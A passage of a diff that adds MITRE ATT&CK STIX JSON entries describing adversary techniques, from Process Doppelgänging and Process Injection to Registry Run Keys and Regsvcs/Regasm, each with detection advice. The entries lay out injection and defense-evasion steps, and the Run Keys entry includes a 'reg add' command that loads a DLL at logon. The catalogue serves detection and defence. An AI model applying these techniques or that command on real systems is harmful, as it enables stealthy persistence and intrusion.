"2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus", + "Whitelisting by file name or path", + "Signature-based detection" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1093", + "source_name": "mitre-attack", + "external_id": "T1093" + }, + { + "url": "http://www.autosectools.com/process-hollowing.pdf", + "source_name": "Leitch Hollowing", + "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "name": "Process Hollowing", + "created": "2017-05-31T21:31:09.815Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)", + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Whitelisting by file name or path", + "Signature-based detection", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1055", + "source_name": "mitre-attack", + "external_id": "T1055" + }, + { + "url": "https://capec.mitre.org/data/definitions/242.html", + "source_name": "capec", + "external_id": "CAPEC-242" + }, + { + "url": "https://github.com/mattifestation/PowerSploit", + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/hunting-memory", + "source_name": "Endgame HuntingNMemory June 2017", + "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx", + "source_name": "Microsoft APC", + "description": "Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December 8, 2017." + }, + { + "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows", + "source_name": "ENSIL AtomBombing Oct 2016", + "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx", + "source_name": "Microsoft Atom Table", + "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017." + }, + { + "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon", + "source_name": "Microsoft Sysmon v6 May 2017", + "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html", + "source_name": "FireEye TLS Nov 2017", + "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017." + }, + { + "url": "https://www.datawire.io/code-injection-on-linux-and-macos/", + "source_name": "Datawire Code Injection", + "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017." + }, + { + "url": "http://hick.org/code/skape/papers/needle.txt", + "source_name": "Uninformed Needle", + "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017." + }, + { + "url": "http://phrack.org/issues/51/8.html", + "source_name": "Phrack halfdead 1997", + "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017." + }, + { + "url": "http://vxer.org/lib/vrn00.html", + "source_name": "VDSO hijack 2009", + "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017." + }, + { + "source_name": "ArtOfMemoryForensics", + "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017." + }, + { + "url": "https://www.gnu.org/software/acct/", + "source_name": "GNU Acct", + "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017." + }, + { + "url": "https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", + "source_name": "RHEL auditd", + "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017." + }, + { + "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", + "source_name": "Chokepoint preload rootkits", + "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017." + }, + { + "url": "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", + "source_name": "CyberBit Early Bird Apr 2018", + "description": "Gavriel, H. & Erbesfeld, B. (2018, April 11). New \u2018Early Bird\u2019 Code Injection Technique Discovered. Retrieved May 24, 2018." + }, + { + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "source_name": "Endgame Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Anastasios Pingios", + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Windows Registry", + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Named Pipes" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus" + ], + "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "name": "Process Injection", + "created": "2017-05-31T21:30:47.843Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n### Windows\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)\n\n* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.\n* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n### Mac and Linux\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n\n* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM", + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1012", + "source_name": "mitre-attack", + "external_id": "T1012" + }, + { + "url": "https://en.wikipedia.org/wiki/Windows_Registry", + "source_name": "Wikipedia Windows Registry", + "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "name": "Query Registry", + "created": "2017-05-31T21:30:25.584Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1163", + "source_name": "mitre-attack", + "external_id": "T1163" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "name": "Rc.common", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", + "x_mitre_permissions_required": [ + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1164", + "source_name": "mitre-attack", + "external_id": "T1164" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300", + "name": "Re-opened Applications", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1108", + "source_name": "mitre-attack", + "external_id": "T1108" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_defense_bypassed": [ + "Network intrusion detection system", + "Anti-virus" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Authentication logs", + "Binary file metadata" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "name": "Redundant Access", + "created": "2017-05-31T21:31:18.867Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1060", + "source_name": "mitre-attack", + "external_id": "T1060" + }, + { + "external_id": "CAPEC-270", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/270.html" + }, + { + "url": "http://msdn.microsoft.com/en-us/library/aa376977", + "source_name": "Microsoft Run Key", + "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014." + }, + { + "url": "https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key", + "source_name": "Microsoft RunOnceEx APR 2018", + "description": "Microsoft. (2018, August 20). Description of the RunOnceEx Registry Key. Retrieved June 29, 2018." + }, + { + "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/", + "source_name": "Oddvar Moe RunOnceEx Mar 2018", + "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "File monitoring" + ], + "modified": "2019-04-08T20:17:53.044Z", + "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "name": "Registry Run Keys / Startup Folder", + "created": "2017-05-31T21:30:49.988Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.", + "x_mitre_system_requirements": [ + "HKEY_LOCAL_MACHINE keys require administrator access to create and modify" + ] + }, + { + "external_references": [ + { + "external_id": "T1121", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1121" + }, + { + "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", + "source_name": "MSDN Regsvcs", + "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016." + }, + { + "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx", + "source_name": "MSDN Regasm", + "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016." + }, + { + "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass", + "description": "Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-04-12T17:41:13.440Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", + "name": "Regsvcs/Regasm", + "created": "2017-05-31T21:31:33.499Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "external_id": "T1117", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1117" + }, + { + "url": "https://support.microsoft.com/en-us/kb/249873", + "source_name": "Microsoft Regsvr32", + "description": "Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016." + }, + { + "url": "https://web.archive.org/web/20161128183535/https://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html", + "source_name": "SubTee Regsvr32 Whitelisting Bypass", + "description": "Smith, C. (2016, April 19). Bypass Application Whitelisting Script Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June 30, 2017." + }, + { + "url": "https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/", + "source_name": "Carbon Black Squiblydoo Apr 2016", + "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html", + "source_name": "FireEye Regsvr32 Targeting Mongolian Gov", + "description": "Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing Techniques Used in Attacks Targeting the Mongolian Government. Retrieved February 24, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Casey Smith" + ], + "x_mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry", + "Process command-line parameters" + ], + "modified": "2019-02-05T23:12:49.697Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial 